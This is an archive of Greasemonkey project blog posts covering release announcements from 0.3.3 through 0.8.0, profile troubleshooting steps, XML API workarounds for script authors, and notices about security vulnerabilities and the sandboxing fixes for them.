At long last, the new version of Greasemonkey is available. Get Greasemonkey 0.8.0 from addons.mozilla.org.

The most important change for this release is full compatibility with Firefox 3.0. There is also a new feature that allows modularization of user scripts that comes in four pieces: @resource, @require, GM_getResourceURL, and GM_getResourceText. Follow those links to learn how they work. Also:

GM_xmlhttpRequest now includes the finalUrl property.
Internal code quality improvements
New attractive graphics by Pak-Kei Mak

Finally, there is a set of reported issues that are yet to be resolved. Version 0.8.1 is planned, but we feel 0.8.0 is a strong enough improvement to be worth releasing, for Firefox 3.0 compatibility. Enjoy!

Greasemonkey Security Update

2008-01-21T12:51:00.000-08:00

I've just posted an update to Greasemonkey that fixes a recent publicly disclosed security issue. Please upgrade to the latest version as soon as possible.

Note that this update might affect compatibility for a small number of scripts. Script authors should see the Greasemonkey wiki for details and workarounds.

I have also enabled support for Firefox 3 Beta in this build for those who have been asking about that.

Thanks, and sorry for any inconvenience. For help or questions about Greasemonkey, join the greasemonkey-users mailing list.

To report security issues, please mail the details to greasemonkey-admins@googlegroups.com.

Greasemonkey 0.7 Candidate

2007-05-24T10:54:00.000-07:00

Hello all,

Since there were some pretty major problems with the last release that caused significant grief, I've rethought how releases will work. Going forward, we will:

Do candidate releases to greasemonkey-dev and greasemonkey-users. Before, we just sent candidates to greasemonkey-dev. If you are interested in cutting edge builds and don't mind getting a little messy in the process, subscribe to one of these lists. This will get more eyes on finding regressions early.
Once the candidate is vetted on the mailing lists, we will do a candidate release on this blog.
Only once the candidate is vetted on the mailing lists and the blog will we do an autoudpate.

This release is the first to follow the new process. Please add a comment to this post with any bugs you find. If there are serious regressions I will do a new release here before autoupdating.

There are no new features other than bug fixes for the previous release. In particular:

Fixed the bug where you can't install scripts if you have never disabled Greasemonkey.
Fixed the bug where drag and drop in the manage dialog only works once per view.
Fixed the bug where removing a script in the manage dialog also removes the last script.

As always, you can see all recent changes to Greasemonkey on the dev website.

Thanks for your patience!

Install Greasemonkey 0.7 Candidate

Greasemonkey 0.6.9: gm_scripts directory bug gone forever?

2007-05-09T11:47:00.000-07:00

Download Greasemonkey 0.6.9

Anthony has made a change in this release which will hopefully end the issue which keeps popping up of the gm_scripts directory not existing.

Other interesting bits in this release:

You can now reorder the scripts in the manage dialog with drag+drop or the arrow keys
You can now use Firebug's console object to debug Greasemonkey if you have Firebug installed.
Fix bug where install dialog would pop up when Greasemonkey is disabled

Full change log here

Greasemonkey 0.6.8: 'New Script...' UI now usable, error reporting improvements, new localizations

2007-03-17T15:00:00.000-07:00

Download Greasemonkey 0.6.8.20070314.0

Note: Because addons.mozilla.org is in the midst of a migration to a new version of their software, Greasemonkey will not autoupdate itself until at least March 22, when we are told the new version of their server will up and running.

So if you want this version, you need to download it manually until then.

===

New stuff in this release. The major things are:

Rewrite of 'New Script...' UI. It now pops up a nice UI to get the script details and then generates and opens a script which is already installed that you can edit in one step. This is a huge improvement in the usability of this feature. Thanks to Anthony Lieuallen for the implementation.
Improvements to error reporting. Most types of errors in user scripts now give the correct line number in the error message. You can also click on the filename in Firebug to view the script, as with other types of errors in Firefox. Anthony is also responsible for this improvement.
Added support for overrideMimeType to GM_xmlhttpRequest. Thanks to Lior Zur for the patch. To use, add overrideMimeType: "yourmimetypehere" to the object you pass to GM_xmlhttpRequest.
New translations for Finnish, Japanese, and Russian. The Greasemonkey UI looks particularly cool in Japanese. Thanks to Tommi Rautava, Hisateru Tanaka, and Александр Соколов for their contributions.

To see the full list of changes in this release, see the commit history.

Web page changes

2007-02-23T09:38:00.000-08:00

I've made a series of changes to try and organize the various webpages related to Greasemonkey.

www.greasespot.net is Greasemonkey's new home. It hosts this blog as well as links to download, userscripts.org, Dive into Greasemonkey, discussion groups, wiki, and dev site. greaseblog.blogspot.com now redirects here.
wiki.greasespot.net now has a wiki that we can use for troubleshooting, etc. Thanks to Anthony Lieuallen for hosting this.
greasemonkey.devjavu.com is the new home of Greasemonkey development, including source code.
greasemonkey.mozdev.org is now archived and redirects here.

Have a look around and let me know what you think.

Greasemonkey 0.6.7: minor UI tweaks + new localizations

2007-02-07T14:27:00.000-08:00

Greasemonkey 0.6.7.20070131.0 is now available for download.

There were only minor changes since 0.6.6:

Fixed the manage dialog so that it doesn't bounce around when you select different user scripts (thanks Anthony Lieuallen)
Added Basque translation (thanks 3ARRANO)
Updated German translation (thanks Matthias Bauer)
Middle-click on monkey icon now opens manage dialog, right-click on scripts in monkey menu opens them in an editor (thanks LouCypher and pile0nades)

There are also some changes going on with regard to Greasemonkey development. The code has moved to DevjaVu's hosted Subversion system, and the bug list and related resources will be moving there soon.

Also, we are going to start doing regular releases of Greasemonkey every month, so long as there is new stuff checked in. The build will be created on the first Thursday of each month and sent to the greasemonkey-dev mailing list for trial. Once verified, it will be posted to addons.mozilla.org.

Fix for Spanish localization bug

2006-10-17T18:18:00.000-07:00

Version 0.6.6.20061017.0 is available and fixes the bug that you may have noticed if you speak Spanish.

Download it now, or wait for autoupdate to prompt you.

Greasemonkey 0.6.6 - Firefox 2 support and new install UI

2006-10-16T22:24:00.000-07:00

Download here, or wait for Firefox 2's cool new extension autoupdater to prompt you.

The main changes from 0.6.5 are:

Firefox 2.0 support
New, less crappy script installation UI
Spanish localization

The new script installation UI is a bit of a change. When I first wrote Greasemonkey, it was intended to be for JavaScript hackers only. I didn't envision there even being a UI at first -- just some configuration files. But now that lots of non-programmers use Greasemonkey, displaying the source code when you click on a user script doesn't make much sense.

When you click on a user script now, it pops up an installation dialog that shows the title, description, and pages the script will be included on. If you want to see the source code, you can still do that by clicking "View Script Source" in the install dialog or in the user script's context menu.

Greasemonkey 0.6.5 - 2.0 support and localization

2006-07-27T23:04:00.000-07:00

I'm happy to announce Greasemonkey 0.6.5, which includes support for Firefox 2.0 beta 1 and basic localization in Czech, Dutch, and German. I've also fixed up the problems in the CVS main branch for people where were trying to use source directly.

Thanks to Chris Feldmann for internalization code, esquifit for a 2.0 compatibility patch, and all those who helped test.

Troubleshooting 0.6.4

2005-12-30T17:26:00.000-08:00

I thought it'd be useful to pull together all the issues you might run into with Greasemonkey itself.

We are, of course, trying to make Greasemonkey suck less, but this should help for now. Please be sure to read the error message closely so you can follow the appropriate actions for a workaround. Lots of Firefox errors look pretty similar.

Also, be sure to close Firefox and back up your profile before changing any files in your profile directory. Don't say we didn't warn you. ;)

If you see an error including text like this: "(NS_ERROR_FILE_NOT_FOUND) location JS frame :: chrome://greasemonkey/content/utils.js :: getContents ", follow the, uh, following steps. Updated to clarify command-line stuff: These are commands which need to be entered either in a DOS prompt or a terminal. On Windows, you can generally access this with "Start > Run > Cmd" or "Start > Run > command" or "Windows + R > command". (If someone can verify the steps for WinXP, it'd help; I don't have that OS.) On OS X, you can get there with Terminal (Applications > Terminal). On Linux, you should know how to find a terminal. ;) Once at a command prompt (C:\ in Windows, ~/user in OS X), enter the following commands, which just creates a gm_scripts directory and an empty file named config.xml in the appropriate place in your Firefox profile.
1. cd your profile directory
2. mkdir gm_scripts
3. On OS X: touch gm_scripts/config.xml
4. On Windows: echo "" > gm_scripts\config.xml
If you see an error including text like this: "(NS_ERROR_FAILURE) [nsIURI.host]", you're probably installing from a data: URL. If so, follow these steps:
1. Open the link in your browser.
2. Save the file locally, naming it [something].user.js.
3. Open the local file in your browser.
4. Install from the local file.
If you see an error as a result of a Greasemonkey action (such as installing a script) which lists a chrome URL that starts with something other than chrome://greasemonkey (such as chrome://w3rted/content/browser.xul), you probably have a naming conflict. Follow these steps:
1. Open your profile directory\extensions\Extensions.rdf.
2. Find the extension is in conflict by searching for the first part of the chrome URL in your error message. In the example above, I'd search for "chrome://w3rted".
3. Find the name of that extension by looking for the value of <em:name> in the same RDF:Description.
4. Try moving the conflicting extension below Greasemonkey by using [Tools > Extensions, right-click, Move Down]. Doing this affects the order in which extensions are loaded and sometimes allows Greasemonkey to initialize successfully. Restart Firefox before testing again.
5. If moving the extension down didn't resolve the issue, and you can live without the other extension, disabling it should work. [Tools > Extensions, right-click, Disable]. ... And restart Firefox again.

If you're getting one of these errors and these steps didn't resolve, let me know in the comments. If you're getting a different error, I need to add it to the list. I hope this helps get you monkeying again.

Workarounds for missing XMLHttpRequest, DOMParser, and XMLSerializer

2005-12-04T12:40:00.000-08:00

Update: Over on the Greasemonkey mailing list, Joe la Poutre notices an even easier workaround. All you have to do is use the older form of the XPCNativeWrapper constructor to access a specific property. I'm not even sure why this works, but it does:

var parser = new XPCNativeWrapper(window, "DOMParser").DOMParser();
alert(parser.parseFromString("", "text/xml"));

Leaving the below, just for posterity...

One bittersweet part about releasing Greasemonkey 0.6.4 was that I needed to remove support for the XML Extras module which contains such goodies as XMLHttpRequest, DOMParser, and XMLSerializer.

I knew that many people were using XMLHttpRequest, particularly since GM_xmlhttpRequest, it's cross-domain replacement evaporated temporarily in 0.3.5, and that this would be a pain point. However, when weighing those people having to change their scripts to use GM_xmlhttpRequest and the alternative of having a confusingly inconsistent security model, I chose the former. I also fixed the major scripts I knew of, such as GMail Conversation Preview, which used XMLHttpRequest.

What I didn't expect at all was that people would miss DOMParser and XMLSerializer. I had no idea any scripts even used these. It's really neat to find people using pieces of your tool which you didn't expect them to, in ways you didn't expect them to. This makes me incredibly happy. Go user scripters! :-)

Anyway, to make a long story short, I've received many questions asking how to work around the lack of these two classes. The good news is that not only is there a workaround, there are three of them!

1. Use unsafeWindow.DOMParser and unsafeWindow.XMLSerializer

The downside here is that, as the name says, unsafeWindow is a reference to the content actual window - the same one that the content's JavaScript uses. Because of that, calling into it can make your script vulnerable to interference by the content script. This can be OK if you trust the site you are scripting somewhat. Take a look at the unsafeWindow details to decide whether you think this is appropriate for your script.

2. Use E4X

In a very zen turn of events it turns out that although Firefox 1.5 denies user scripters the XPCOM-based XML parsing and serializing they were accustomed to, it provides them with a brand-new - arguably superior - interface.

E4X is a brand new native JavaScript XML API that ships with Firefox 1.5 and is available to Greasemonkey scripts. There's not a ton of documentation yet, but from my experience with it so far, it's vastly more elegant and pleasant to work with than the DOM interfaces.

You can get more information about E4X, including the ECMA specification and a handy expression tester, at these URLs:

http://developer.mozilla.org/en/docs/E4X
http://www.ecma-international.org/publications/standards/Ecma-357.htm
http://www.linkwerk.com/pub/javascript/e4x/e4x-tester/

One caveat to keep in mind is that, in accordance with the E4X spec (don't ask me, it's insane), the input XML must not have an XML declaration. So you usually need to use a regex to strip it before parsing. For example:

var xml = new XML(xmlStringWithDecl.replace(/<\?xml.*?\?>/g, ""));

3. Use an IFRAME and let Mozilla do the dirty work

Many have pointed out that Mozilla already ships with an excellent, and very robust XML parser. It also ships with an HTML parser. Why not just leverage those? You can, it just takes a bit of hacking. I put an example of how to use an IFRAME to parse an HTML document into a DOM on my website.

Greasemonkey HTML Parser

Of course, just by changing the content type from text/html to text/xml, you could use the same technique to parse XHTML or even raw XML.

So I hope this shows that although the way to do certain things has changed, no capabilities have been removed from Greasemonkey. In fact new ones have been added, and the addition of completely isolating user scripts from content improved the reliability and security of Greasemonkey quite a lot.

Sorry for the disturbance, you may now resume your madcap exploration and use of Greasemonkey for all manner of things I never expected.

Mozdev back - Greasemonkey page updated

2005-12-04T00:58:00.000-08:00

After some downtime due to increased load from the Firefox 1.5 release, mozdev is back. I took the opportunity to update the Greasemonkey homepage and authoring page.

Slides from Nov 8 Emerging Technology SIG

2005-12-02T09:19:00.001-08:00

Last month I was asked to give a presentation about Greasemonkey at the Emerging Technology SIG here in Mountain View. I was bored with my old presentation format, so I redesigned it.

View the slides.

And here's the zipped package if you want to use the format for your own presentation.

The old format also had some issues. I found that personally, the more words that were on each slide, the more I was obligated to say on each slide. It made me uncomfortable, knowing that people would see if I didn't say something I had planned to.

My girlfriend, Susan, mentioned that I actually speak about Greasemonkey quite well off the cuff. So I stole an idea from other presentations I've seen and put very few words on each slide. I felt like this gave me more freedom to just talk - expanding on areas people seemed interested in, and skipping areas they didn't.

There is only a very vague structure to this presentation. It's divided into several high-level sections, and each section progresses through a few phases:

Question
Exploration, broad answers, more questions
Restate Question
Concise answer

I don't know if this is applicable to other presentations, but it seemed to work for Greasemonkey. Maybe Greasemonkey just has a lot of questions surrounding it :-).

Broken Scripts Fixed

2005-12-01T09:31:00.001-08:00

In abscense of the wiki-like features that Jesse is building into userscripts.org, I am keeping a list of scripts I have fixed for 0.6.4 at http://userscripts.org/fixes. I'll also post a comment on the userscripts.org page for the scripts when I make these changes.

I'll keep the script there until the author updates the original location and pings me. If you're having trouble with a script, send a mail to the mailing list, or leave a comment, and maybe I'll take a look.

Greasemonkey 0.6.4

2005-11-30T15:56:00.000-08:00

It's been a long road, but a stable, secure, and much improved Greasemonkey is now available for Firefox 1.5.

Install Greasemonkey 0.6.4

This is for Firefox 1.5 only and will not install on previous Firefoxen. If you use a Firefox version prior to 1.5, you should continue using Greasemonkey 0.5.3.

Some of the changes required for security caused minor API changes. If you are a developer and your script breaks in Greasemonkey 0.6.4, consult the wiki for information on how to fix it. Or, as always, ask on the mailing list.

What's new since 0.5.x?

Monkey menu: Right-click on the monkey to get quick access to enable or disable the scripts which apply to this page.
New install UI: There's a cute new yellow install bar like the one that's displayed for extensions when you load a user script file. When you install, you get a simple animation in the status bar for the loading progress followed by a single dialog when installation is successful.
New injection system: We now use a much stabler injection system which is only available to Firefox 1.5. This should solve all double-injects or non-injects.
The document.domain bug which was causing scripts to not inject on sites such as myspace.com fixed.
New migration system: Greasemonkey no longer tries to migrate the script folder's location on install, which was causing install headaches for some users. Instead, it uses the old location if a previous version was already installed.
Fastback support: Previous Greasemonkeys interfered with Firefox 1.5's awesome Fastback feature. This release does not.
Remove script prefs when uninstalling the scripts. Sort of; see issues.

Known Issues:

When uninstalling scripts, the "also uninstall script preferences" checkbox looks works when "OK" is clicked, rather than when "uninstall" is clicked. In other words, before confirming uninstallation of scripts, make sure the checkbox is selected to also remove the associated prefs. This is needlessly confusing.

Firefox 1.5-compatible Greasemonkey beta now available

2005-09-12T15:41:00.000-07:00

I've posted a beta of the next version of Greasemonkey to userscripts.org. You can access it at:

http://userscripts.org/greasemonkey-0.6.2.xpi

This is for Firefox Beta 1.5 only and will not install on other Firefoxes. If you use a version of the browser prior to 1.5, then you should continue using Greasemonkey 0.5.3.

It's a beta, which means that it will likely break some number of your existing, working scripts. Please report these on the mailing list and to the script author. Many breakages will be up to the script author to correct. Typically, the changes required are minor. Authors should consult the Greasemonkey Wiki or mailing list for help.

There is currently no Greasemonkey 0.5.x for Firefox 1.5 beta. It's my hope that user script authors will update their scripts so that such a release is not necessary. So please, bug script authors whose scripts break :-).

What's new?

Monkey menu: Click the monkey to get quick access to enabling and disabling each of your scripts. You can also see at a glance which scripts ran on the current page.
New install UI: We no longer pop up two modal dialogs everytime you install a script. Instead, a simple animated status message to the left of the monkey tells you everything went OK.
New injection system: We now use a much stabler injection system which is only available to Firefox 1.5. This should solve all double-injects or non-injects (except for document.domain issues discussed below).
New migration system: Greasemonkey no longer tries to migrate the script folder's location on install, which was causing install headaches for some users. Instead, it uses the old location if a previous version was already installed.
Fastback support: Previous Greasemonkeys interfered with Firefox 1.5's awesome Fastback feature. This release does not.

Known Issues:

Update: If you install Greasemonkey 0.6.2 without any prior version installed, installing scripts will not work. You'll see a "file not found error. We'll be updating soon to fix this and are sorry for the bug. Meanwhile, the following will fix you up:
1. cd <your profile directory>
2. mkdir gm_scripts
3. Unix: touch gm_scripts/config.xml
4. Windows: echo "" > gm_scripts\config.xml

Greasemonkey 0.6.2 does not inject on websites which use the document.domain javascript property. Notable examples are search.ebay.com and yahoo.com. This is due to a Firefox bug which will be fixed before 1.5 ships.
Scripts which use any of the properties of the location object fail with NS_ERROR_INVALID_POINTER. This is due to a Firefox bug which will be fixed before 1.5 ships. As a temporary workaround, script authors may wrap code which accesses the location object with a window.setTimeout call. So for instance, instead of window.location.replace('foo'), use window.setTimeout(function(){ window.location.replace('foo') });.

XPCNativeWrapper reminders:

The window and document properties in Greasemonkey 0.6.x are XPCNativeWrapper objects, which have many annoying limitations as compared to the normal DOM objects. You can keep up with all the details as documented on the Greasemonkey wiki.

General update

2005-09-04T17:08:00.000-07:00

This bug with migration which everyone keeps encountering is really frustrating. It occurs on a large percentage of machines, but not for any of the Greasemonkey developers. For anyone who is still seeing problems where GM appears to not work at all after upgrading to 0.5.x, please see the directions here for a simple fix.

I have created a patch which forgoes automatic migration completely and just warns the user that they need to move the folder by hand, but I'm not sure whether to push it yet. I suppose it depends on how many people who were using 0.3.x have not yet upgraded.

In other news, I've made quite a bit of progress on a new Greasemonkey - 0.6 - which uses a more stable injection technique which should solve a whole other class of problems. It works really well, is super simple, and uses standard APIs. So I don't expect it to have the same inconsistency across machines that the 0.5 series does.

Unless I keep getting a ton of reports about bad migrations, I think I'll just leave 0.5.3 as the last of that branch and focus on 0.6, which will not have auto-migration, and thus cannot have this nasty migration bug.

I guarantee that nobody is more frustrated by these bugs than me. But 0.6 should be a lot better. So just hang on, and we can all forget 0.5 as soon as possible :-).

0.5.3 available

2005-09-03T13:23:00.000-07:00

Though still in the review queue on mozilla update, 0.5.3 is available for download directly from userscripts.org right now.

This update solves the problems with migration from 0.3.5 that some people where having with 0.5.1. It also fixes the "Install User Script" menu item always available bug that pissed a lot of people off.

I'm still working on improving the injection system, which will solve all the random injection problems people are having. This will show up in Greasemonkey 0.6.

0.5.2 late

2005-09-03T11:09:00.000-07:00

Somebody discovered a new injection issue (:: sigh ::) in 0.5.2, so I put it off slightly. I'll be rolling back that commit and then reposting it hopefully tonight.

These issues are highly personal, and seem to have to do with network connection, cpu speed, etc. Which is why I'm moving Greasemonkey back to a simpler injection system which should be more fool-proof.

Many people are using 0.5.x without trouble (everyone who tested the alphas on the mailing list, for example). For those of you for whom it isn't, I'm not ignoring you. The next version of Greasemonkey should work much better.

0.3.5 -> 0.5.1 migration madness

2005-09-01T13:57:00.000-07:00

There is a bug in the migration code for Greasemonkey 0.5.1 which is affecting some windows users. 0.5.2 fixes this issue, and has been circulated through the mailing list and is looking good, but I won't be able to post it until tonight.

If you want to fix your 0.5.1, I don't think it's a good idea to edit the profile files directly unless you really know what you're doing. Instead, these steps should fix most people's corruption.

Shut down Firefox.
Find your profile directory
Move profileDir/extensions/{e4a8a97b-f2ed-450b-b12d-ee082ba24781}/chrome/
greasemonkey/content/scripts/ to profileDir/scripts.
Remove profileDir/gm_scripts if it exists
Rename profileDir/scripts to profileDir/gm_scripts
Restart Firefox

Greasemonkey 0.5.1 Final

2005-08-25T00:51:00.000-07:00

Huzzah!

Greasemonkey 0.5.1 Final is available for download.

Special thanks to "t" for reporting a user script escalation issue in the previous beta which has now been fixed.

Other changes:

Bug 10107 - Allow users to select a script editor. This also allows script editing to work for *nix users.
Bug 11214 - Clicking "Edit" in Manager loses enable/disable changes
Bug 11224 - Grease monkey doesn't accept non english characters!
Bug 11236 - The install context menu won't show if there's a node under the A element

Gmail Preview

2005-08-21T10:38:00.000-07:00

Mihai rocking with another great Greasemonkey script for Gmail. This one adds full preview to your inbox items. Very smooth, a definite install.

Aaron's OSCON 2005 slides

2005-08-06T11:14:00.000-07:00

Some people who were at OSCON and saw my presentation asked if they would be able to get the slides online.

I've posted them to my website. You can also download them.

OSCON was a lot of fun. Here's what I've been able to learn about Portland:

People: very friendly
summer weather: great
public transport: efficient and clean
food: superb
Montage: recommended
Burnside skaters: insane
Nightlife: very amusing
Books: available

So in general, utopia. A fine place for a nerd conference.

Mozdev down

2005-08-02T16:15:00.000-07:00

It would appear that mozdev.org - which generously hosts Greasemonkey's website - is down today.

Luckily, the Greasemonkey installer is not actually hosted on mozdev. So you can still install Greasemonkey by going directly there.

Greasemonkey 0.5 Beta

2005-07-30T22:27:00.000-07:00

All of us here in Greasemonkeyland are extremely happy to announce that Greasemonkey 0.5 beta is now available for download. Horray!

It should go without saying, but: this is beta software. There will definitely be bugs. Install at your own risk.

Security

The major news with this release is, of course, security. Greasemonkey 0.5 is much more secure than 0.3.5. Several important classes of attacks have been completely disabled and others have been made more difficult, particularly in Deer Park.

In Greasemonkey 0.3.4, it was possible for JavaScript on webpages you visited ("content") to use DOM mutation events, watchpoints, or Mozilla's proprietary __defineSetter__ method to get references to the special GM API functions. This has been fixed by moving user script execution away from content completely. Now, user scripts are executed in a separate object -- a "sandbox" -- which is not part of the content window. That means that content scripts cannot acccess it, and thus, cannot employ any of the tricks above to get access to the special GM APIs.
In earlier versions, it was possible to block Greasemonkey itself by redefining certain content DOM methods that it used to inject scripts. This has been fixed in 0.5 by only ever accessing content via the special XPCNativeWrapper objects provided by Firefox for this purpose.
It has long been understood and accepted that it would be possible to block individual user scripts by looking at which core DOM methods they try to use and redefining those. This will be a lot more difficult to do in Greasemonkey 0.5 when it is running on Deer Park. On Deer Park, the window and document global variables for Greasemonkey user scripts are also XPCNativeWrappers.

It was recently discovered that GM_xmlhttpRequest was able to access the file:// protocol and read local files. This has been fixed.
In all previous versions of Greasemonkey, it was trivial for content to monitor what user scripts you ran and get the source code for them. Running Deer Park and Greasemonkey 0.5, it's significantly less likely. It's still not impossible, however, so please continue to not put passwords in Greasemonkey user scripts.

Of course, no software is ever perfectly secure. Greasemonkey's entire point of existence is to mash code from two different trust domains into the same space, so it has been particularly tricky. This will be an ongoing fight. But for now, I believe that there are no known major security issues with Greasemonkey 0.5 and that it is safe to use. I also think that any future fixes will be much easier to make.

Features

Since Greasemonkey 0.5 is actually the combination of a massive security audit and all the new code which was planned for 0.4, there are lots of new features too:

GM_registerMenuCommand (documentation forthcoming) now takes extra parameters to add keyboard shortcuts.
GM_registerMenuCommand no longer gets confused sometimes when switching tabs.
Greasemonkey's previous memory leakage problems have been addressed.
A new API, GM_openInTab has been added. You can now use a Greasemonkey user script to open a URL in a new Firefox tab.
A new menu item has been added: New User Script, which you can use to start a new script. It adds all the boilerplate text to the file so you can get started typing right away.

For User Script Authors

For the most part, Greasemonkey 0.5 should be perfectly backward compatible with your existing user scripts in Firefox 1.0.x. In some cases, however, it can bite you when it didn't before. Generally speaking:

Never add properties or functions to window. It's not safe because content can redefine these functions to mean something other than what you wrote.

For example, you should never write code like this:

window.handleClick = function() {
alert("something was clicked!");
}
button.setAttribute("click", "window.handleClick()");

Instead, do it this way:

function handleClick() {
alert("something was clicked!");
}
button.addEventListener("click", handleClick, false);

When you want to manipulate the DOM, always fully-qualify your expressions with window or document. So if you want to call alert on the current window, say window.alert instead of just alert. By doing this, you are sure to get the real alert method instead of a new one that content has used to overwrite the real one.

In a future version of Greasemonkey, the ability to call methods and properties of window without this qualification will probably go away, so best to get in the habit now.
Keep up with the current Deer Park best practices on the Greasemonkey wiki.
Test in Deer Park if possible. Everything that works in Deer Park will definitely work in FF 1.0.x, but the reverse is not true. So it's best to test or develop your scripts in Deer Park for maximum compatibility.

So that's it. If you have any other questions, the Greasemonkey mailing list is, as always, the place to ask them.

Happy scripting!

Funny Greasemonkey quotes #17 (of a seemingly infinite series)

2005-07-27T18:03:00.000-07:00

... [to win at the internet now], you have to make your site easily hooked into by Greasemonkey. It’s like an arms escalation race, only with hugs and easy-to-use web applications.

-- Patrick Gaskill

Greasemonkey hole proves Firefox is insecure? Not so much.

2005-07-27T11:21:00.000-07:00

This meme has been bouncing over the net for the last few days. From Jon Udell's provocatively titled post Greasemonkey in Crisis:

"As the dust began to settle, a debate began, refracted through the lens of ideology. This time there was no Microsoft (Profile, Products, Articles) to blame. The open source underdogs had done this to themselves. And while some would argue it wasn't Firefox's fault -- since Greasemonkey is a user-installed extension -- Firefox took its share of the blame, just as Internet Explorer does when its add-ins cause trouble."

I'd just like to clarify that I don't think this proves anything about Firefox's security. Firefox - just like other browsers - has a extension system that allows users to install and run separately-developed programs within the security context of the browser, after an explicit confirmation and approval process.

The fact that such an extension has a flaw should not reflect on Firefox. The flawed code was developed separately from Firefox. It's completely different than if, for example, the browser itself had a problem which could allow an extension to be installed silently, without any user approval.

Continuing from the article:

Some say that open source software is inherently secure because the “open source process” makes it so. Wrong. Open source software, and the collaborative culture that surrounds it, have surely enhanced Firefox’s security. But also necessary is a disciplined approach to reducing the attack surface area.

I'd like to point out that Greasemonkey was the first Firefox extension I had ever written. It got very popular very quickly. The fact that it had a hole only proves that someone new to a platform can create software with holes. This shouldn't come as a surprise to anyone.

Greasemonkey 0.4.x, on the other hand, has had the benefit of much more experience on the part of it's developers. Since it is open, it has also been able to benefit from the review and advice of a community of even more senior developers. If bugs are discovered in it, they will be discussed, fixed, and scrutinizeded openly. And Greasemonkey will again be able to benefit from the advice and review of this broad community.

I think that's the main point that Open Source advocates try to make.

Mandatory Greasemonkey Update

2005-07-19T02:08:00.000-07:00

Yesterday, Mark Pilgrim discovered and announced a very serious security vulnerability in Greasemonkey. The flaw allows any website which matches at least one user script (even * scripts) to read any local file on your machine, or to list the contents of local directories. The flaw applies to Greasemonkey on all platforms.

I'm working feverishly on a fix for this. But this will take several days. In the meantime, I strongly recommend that everyone either install Greasemonkey 0.3.5, or else disable or uninstall Greasemonkey completely.

Greasemonkey 0.3.5 is a "neutered" version of Greasemonkey, lacking any of the GM* APIs which make Greasemonkey scripts more powerful than regular HTML. This means that scripts which depend on GM* APIs will fail with Greasemonkey 0.3.5.

I have heard no reports of this flaw being exploited, but now that it's public knowledge it isn't safe to continue using any version of Greasemonkey other than 0.3.5. Please either upgrade to 0.3.5 or disable Greasemonkey until I can get a fix finished.

I'm aware of how badly this sucks for many of you. Please accept my deepest personal apologies and realize that I'll do my best to get a fixed Greasemonkey available just as soon as possible.

If you have any other questions, the Greasemonkey mailing list is a good place to ask them.

Please do not put private keys in user scripts (yet)

2005-07-18T09:23:00.000-07:00

Joe Gregorio wrote a really interesting piece on XML.com about sending encrypted data over insecure networks, using Greasemonkey to decrypt it on the client.

In his demo, Joe lists his private key in the user script source.

Please do not put private information into user script source code, yet.

As a side-effect of the way that we are currently injecting user scripts, it's possible for malicious sites to sniff their contents. So, for example, if Bloglines got hacked, or somebody exploited a XSS vulnerability to get Bloglines to include their JavaScript in a feed, then Joe's private key could get stolen.

We're thinking about ways to run user scripts completely separate from the DOM, which would prevent this sniffing from being possible, but it doesn't exist yet. I'll post again here when that happens.

===

If you are an XPCOM/Mozilla/JavaScript expert, Greasemonkey needs you. We are looking for a way to execute JavaScript programatically with these restrictions:

browser content window is the global object
script runs in same security context as browser content is currently running in
we have the ability to add other global objects of our choosing

I've looked into mozIJSSubScriptLoader, but it does not seem to solve any of these well or 2) at all. Post in the comments or on the Greasemonkey mailing list if you have a solution.

Will there ever be another Greasemonkey version?

2005-06-27T11:03:00.000-07:00

Short answer: yes

Slightly longer answer: sometime soon. Jeremy and I have been working on a refactor of Greasemonkey that we hope will make it easier to maintain and to add features to.

This was mostly my idea, Jeremy just wanted to get the next version out. So blame me, I am weak :-). I just got tired of looking at the really, really bad "my-first-extension" Greasemonkey codebase.

What you'll get out of the deal:

A "new" button in the manage UI
Compatibility with latest Deer Park builds
Compatibility with Seamonkey
Compatibility with Menu Editor (but not Compact Menu probably)
Less of a chance of being detected or stopped by page authors
Minor UI improvements, such as being able to press Enter/Esc in the various dialogs
Easier development of future features
No more memory leaks
Accelerator keys for menu commands

This one bit is actually the difficult point. There is this known bug in XUL where event handlers for menu items are lost when the nodes they are attached to are removed from the DOM. To get around this, we previously wrote the feature to rebuild the User script commands menu item whenever the Tools menu was activated.

However, since registered menu items' commands need to be active immediately and cannot wait for the Tools menu to be shown, this approach will no longer work. The only solution we have been able to come up with so far seems to crash Firefox for unknown reasons.

We'll work on this a little longer, but if no solution presents itself, we may need to ditch accelerator keys temporarily until we understand better what is causing this problem. We'll work on it for another week at the most.

But hey! Userscript.org is very close to being real! That's cool, right? We have hosting with TextDrive all set up and we just need to put the code up there and turn it on and we'll be ready to roll. W00t!

Very sorry for the delay on the next version. Hang in there, monkeyers.

Shwag

2005-06-13T18:11:00.000-07:00

Gitcher smoove Greasemonkey t-shirt heeya! Courtesy of Mr. Platypus.

A release is coming soon. No, really.

Greasemonkey on addons.mozilla.org

2005-05-20T11:36:00.000-07:00

We've added Greasemonkey to addons.mozilla.org and are now directing all downloads to go through there. This probably means nothing to you, except that:

a) We should be able to roll out new releases of GM much faster now
b) There's a cool little download counter

More obvious user script alterations?

2005-05-18T08:31:00.000-07:00

Rael made a pretty high-profile mistake in posting that Google had added delicious tags to its results page. It turns out that these tags were supplied by the Annotate Google user script, which he'd installed and forgotten.

He raises the point that the user-writable web is likely to raise more such issues:

While I'm as much a fan of the writeable and rewriteable Web as anyone..., is
that cute little Greasemonkey in the bottom-right corner of my browser
notification enough? (Apparently not.)

Point taken. But is this something that should be solved by more obvious changes, or by more awareness of the augmented web? I don't expect my email client to show the same contacts as Rael's. Why should I expect my search results to be the same as Rael's?

OK, it's a stretch, but maybe we can agree that if the augmented web continues to become more popular, this becomes a non-issue.

If we can't agree on that, how could the augmentations be made more obvious? Mouseover'd aura element borders? A monkey icon that smiles more largely when scripts have been injected? A siren that sounds when you've forgotten, again, that this page is augmented?

That last one may be a bit annoying.

Suggestions? Comments welcome, or send 'em to the list.

Slashdot (ouch)

2005-05-16T12:52:00.000-07:00

Apologies for the downtime and slow responses experienced on the script directory and home page. DiG warranted a Slashdot post, and we're all hurting. Except for DiG. Mark was prepared, of course.

Anyway, uh, this is temporary. Probably. ;)

0.3.3 (not beta)

2005-05-15T09:44:00.000-07:00

Seems stable enough, so let's call it that. Booya.

Greasemonkey 0.3.3 (beta)

2005-05-10T21:03:00.000-07:00

No big changes over 0.3b. The main news is that it should work for the latest aviary (soon to be 1.0.4). Still working on latest trunk fix. Sowwy.

Details here.

Since mozdev takes a while to propogate mirrors, you can also try getting it here.

Dive into Greasemonkey

2005-05-10T07:59:00.000-07:00

